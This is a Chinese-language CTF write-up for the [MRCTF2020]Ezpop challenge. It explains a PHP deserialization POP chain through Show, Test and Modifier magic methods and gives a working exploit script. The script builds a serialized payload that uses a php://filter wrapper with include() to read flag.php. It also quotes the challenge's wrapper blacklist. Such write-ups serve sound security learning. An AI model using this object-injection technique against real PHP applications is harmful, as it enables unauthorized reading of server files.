[MRCTF2020]Ezpop

请添加图片描述
一看题目,构造pop链。
首先看一下Modifier这个类:
有个append()函数,里面有个include()函数,该函数的作用是:包含并运行指定文件。
还有个invoke
我来简单讲一下这个pop链吧:

$a=new Show();
$b=new Show();
$a->source=$b;
$b->str=new Test();
($b->str)->p=new Modifier();

先创建2个show对象a,b,在最后反序列化的时候$a=new Show()会调用__wakeup()函数,此时a->source是b,b此时是一个Show()对象,就会调用b里面__toString()方法,此时b里面的str是Test()对象,Test()对象没有source变量,便会调用Test()里面的__get()方法,将Test()类里面的p创建为Modifier(),然后就会调用Modifier()里面的__invoke()方法,执行append()函数,实现文件执行的功能。
所以这个题的flag文件是flag.php,才可以执行。

还有一个要注意的点:Modifier()类里面有个protected类型的变量在序列化后会产生不可见字符,于是要用urlencode(serialize($a));来进行url编码显示出来。

参考代码:

<?php
    class Modifier {
        protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
        public function append($value){
            include($value);
        }
        public function __invoke(){
            $this->append($this->var);
        }
    }

    class Show{
        public $source;
        public $str;
        public function __construct($file='index.php'){
            $this->source = $file;
            echo 'Welcome to '.$this->source."<br>";
        }
        public function __toString(){
            return $this->str->source;
        }
    
        public function __wakeup(){
            if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
                echo "hacker";
                $this->source = "index.php";
            }
        }
    }

    class Test{
        public $p;
        public function __construct(){
            $this->p = array();
        }
    
        public function __get($key){
            $function = $this->p;
            return $function();
        }
    }

// $a =new show();
// $a->source=new show();
// $a->str=new Test();
// $a->str->p=new Modifier();
//echo serialize($a);
// $b=serialize($a);
// unserialize($b);

// $a=new Modifier();
// $b=new Show();
// $c=new Test();
// $c->p=$a;
// $b->source=new Show();
// $b->source->str=$c;
$a=new Show();
$b=new Show();
$a->source=$b;
$b->str=new Test();
($b->str)->p=new Modifier();

echo urlencode(serialize($a));
// $d=serialize($a);
// unserialize($d);```

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值